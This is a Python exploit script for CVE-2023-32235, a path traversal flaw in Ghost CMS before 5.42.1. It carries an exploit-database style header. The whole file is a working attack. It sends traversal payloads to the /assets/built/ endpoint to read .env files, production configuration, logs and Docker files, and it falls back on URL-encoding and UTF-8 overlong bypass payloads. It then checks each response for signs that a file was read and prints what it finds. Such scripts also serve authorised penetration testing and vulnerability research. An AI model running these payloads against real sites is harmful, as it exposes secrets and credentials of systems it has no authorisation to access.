#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.42.1 - Path Traversal # Date: 2023-06-15 # Exploit Author:ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.42.1 # Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur # CVE: CVE-2023-32235 # Category: Web Application Security # CVSS Score: 7.5 (High) # Description: # Ghost CMS before version 5.42.1 contains a path traversal vulnerability that allows # remote attackers to read arbitrary files within the active theme's folder structure. # The vulnerability exists in the /assets/built/ endpoint which improperly handles # directory traversal sequences (../../) allowing unauthorized file access. # This can lead to disclosure of sensitive configuration files, environment variables, # and other critical application data. # Impact: # - Unauthorized file disclosure # - Potential exposure of configuration files # - Information gathering for further attacks # - Possible credential harvesting # Requirements: requests>=2.28.1 """ import requests import sys import urllib.parse from typing import Dict, List, Tuple, Optional class ExploitResult: def __init__(self): self.success = False self.payload = "" self.response = "" self.status_code = 0 self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal" self.severity = "High" class PathTraversalExploit: def __init__(self, target_url: str, verbose: bool = True): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'Accept': '*/*', 'Cache-Control': 'no-cache', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def exploit(self) -> ExploitResult: result = ExploitResult() # path traversal payloads targeting Ghost CMS specific files payloads = [ {"path": "../../package.json", "description": "Main package.json with dependencies", "sensitive": True}, {"path": "../../../package.json", "description": "Root package.json", "sensitive": True}, {"path": "../../config.production.json", "description": "Production configuration", "sensitive": True}, {"path": "../../config.development.json", "description": "Development configuration", "sensitive": True}, {"path": "../../.env", "description": "Environment variables", "sensitive": True}, {"path": "../../../.env", "description": "Root environment file", "sensitive": True}, {"path": "../../content/settings/routes.yaml", "description": "Routes configuration", "sensitive": False}, {"path": "../../content/logs/ghost.log", "description": "Ghost application logs", "sensitive": False}, {"path": "../../README.md", "description": "Documentation file", "sensitive": False}, {"path": "../../yarn.lock", "description": "Yarn lock file", "sensitive": False}, {"path": "../../package-lock.json", "description": "NPM lock file", "sensitive": False}, {"path": "../../../Dockerfile", "description": "Docker configuration", "sensitive": False}, {"path": "../../../docker-compose.yml", "description": "Docker compose file", "sensitive": False} ] for payload in payloads: target_url = f"{self.target_url}/assets/built/{payload['path']}" if self.verbose: print(f"[*] Testing path traversal: {payload['path']}") try: response = self.session.get(target_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: if self._detect_file_read_success(response.text, payload['path']): result.success = True result.payload = payload['path'] result.response = response.text result.status_code = response.status_code if payload['sensitive']: result.severity = "Critical" if self.verbose: print(f"[+] Successfully exploited path traversal: {payload['path']}") print(f"[+] File content preview: {response.text[:200]}") return result except requests.RequestException as e: if self.verbose: print(f"[-] Request failed for {payload['path']}: {e}") continue # If no direct file read, try alternative bypass techniques if not result.success: self._try_path_traversal_bypasses(result) return result def _try_path_traversal_bypasses(self, result: ExploitResult): """Try various bypass techniques for path traversal""" bypass_payloads = [ "..%2f..%2fpackage.json", # URL encoded "..%252f..%252fpackage.json", # Double URL encoded "....//....//package.json", # Double dot bypass "..\\\\..\\\\package.json", # Windows style ".%2e/.%2e/package.json", # Mixed encoding "..%c0%af..%c0%afpackage.json", # UTF-8 overlong encoding ] for payload in bypass_payloads: target_url = f"{self.target_url}/assets/built/{payload}" try: response = self.session.get(target_url, timeout=10) if response.status_code == 200 and self._detect_file_read_success(response.text, payload): result.success = True result.payload = payload result.response = response.text result.status_code = response.status_code if self.verbose: print(f"[+] Path traversal successful using encoding bypass: {payload}") break except requests.RequestException: continue def _detect_file_read_success(self, body: str, payload: str) -> bool: """Check if the response indicates successful file read""" # Check for common file content indicators file_indicators = { "package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'], ".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="], "config": ['"database"', '"server"', '"url"', '"mail"'], "routes.yaml": ["routes:", "collections:", "taxonomies:"], "ghost.log": ["INFO", "ERROR", "WARN", "Ghost"], "README": ["#", "##", "Ghost", "installation"], "Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"], "docker-compose": ["version:", "services:", "ghost:"] } # Check specific file type indicators for file_type, indicators in file_indicators.items(): if file_type.lower() in payload.lower(): for indicator in indicators: if indicator in body: return True # Generic file content indicators generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"] count = sum(1 for indicator in generic_indicators if indicator in body) # If multiple generic indicators found, likely a valid file return count >= 3 def main(): if len(sys.argv) < 2: print("Usage: python3 CVE-2023-32235.py ") print("Example: python3 CVE-2023-32235.py http://target.com") return exploit = PathTraversalExploit(sys.argv[1], verbose=True) result = exploit.exploit() print("\n=== CVE-2023-32235 Path Traversal Exploit Results ===") print(f"Target: {exploit.target_url}") print(f"Success: {result.success}") print(f"Severity: {result.severity}") print(f"Description: {result.description}") if result.success: print(f"Payload: {result.payload}") print(f"Status Code: {result.status_code}") print(f"Response Preview: {result.response[:500]}") else: print("Exploit failed - target may not be vulnerable") if __name__ == "__main__": main()